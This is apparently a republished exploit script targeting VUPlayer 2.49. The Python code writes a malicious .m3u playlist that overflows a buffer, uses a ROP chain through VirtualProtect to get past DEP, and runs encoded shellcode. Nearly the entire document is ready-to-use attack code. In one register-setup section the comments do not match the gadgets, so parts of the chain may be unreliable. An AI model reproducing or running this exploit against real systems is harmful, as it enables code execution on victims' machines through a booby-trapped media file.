VUPlayer 2.49 - (.M3U) Universal Buffer Overflow (DEP Bypass)

import struct
 
p = open("Exploit_VirtualProtect.m3u", "w")
 
crash = "\x41" * 1012
 
sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41")
 
#---------------------------Setting 0x00000201 into EBX---------------------------- 
rop = struct.pack('<L',0x10015f77)  # POP EAX # RETN
rop += struct.pack('<L',0x5f5f01ff)
rop += struct.pack('<L',0x1001e453)  # SUB EAX,5F5EFFFE # RETN 0x04
rop += struct.pack('<L',0x1003a084)
rop += struct.pack('<L',0x42424242)
rop += struct.pack('<L',0x1001033f)  # INC EAX # RETN
rop += struct.pack('<L',0x100110ff)  # POP EBX # RETN   [BASS.dll]
rop += struct.pack('<L',0xffffffff)  #
rop += struct.pack('<L',0x10015ef2)  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
 
#---------------------------Setting the pinter to the VirtualProtect into ESI---------------------------- 
 
rop += struct.pack('<L',0x10015f77)  # POP EAX # RETN   
rop += struct.pack('<L',0x10109270)  # ptr to &VirtualProtect()   [IAT BASSWMA.dll]
rop += struct.pack('<L',0x1001eaf1)  # MOV EAX,DWORD PTR DS:[EAX] # RETN   [BASS.dll] 
rop += struct.pack('<L',0x10030950)  # XCHG EAX,ESI # RETN   [BASS.dll] 
 
#---------------------------Setting 0x00000040 into EDX(*******TRUST ME IT WAS THE ONLY WAY!!! :)******)---------------------------- 
rop += struct.pack('<L',0x1004041c)  # POP EDX # RETN   [BASS.dll] 
rop += struct.pack('<L',0xffffffff)
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
rop += struct.pack('<L',0x100332eb)  # INC ECX # RETN
# ECX is now 0x00000040
 
 
rop += struct.pack('<L',0x10010157)  # POP EBP # RETN   [BASS.dll] 
rop += struct.pack('<L',0x1010539f)  # & jmp esp   [BASSWMA.dll]
 
rop += struct.pack('<L',0x10601007)  # POP ECX # RETN   [BASSMIDI.dll] 
rop += struct.pack('<L',0x101087c3)  # &Writable location   [BASSWMA.dll]
 
rop += struct.pack('<L',0x100190b0)  # POP EDI # RETN   [BASS.dll] 
rop += struct.pack('<L',0x1003a084)  # RETN (ROP NOP)   [BASS.dll]
 
rop += struct.pack('<L',0x10015fe7)  # POP EAX # RETN   [BASS.dll] 
rop += struct.pack('<L',0x90909090)  # &Writable location
 
rop += struct.pack('<L',0x1001d7a5)  # PUSHAD # RETN   [BASS.dll]
 
nop = "\x90"*40
 
payload = crash + rop + nop + sc
  
 
p.write(payload)
p.close()

#  0day.today [2018-04-14]  #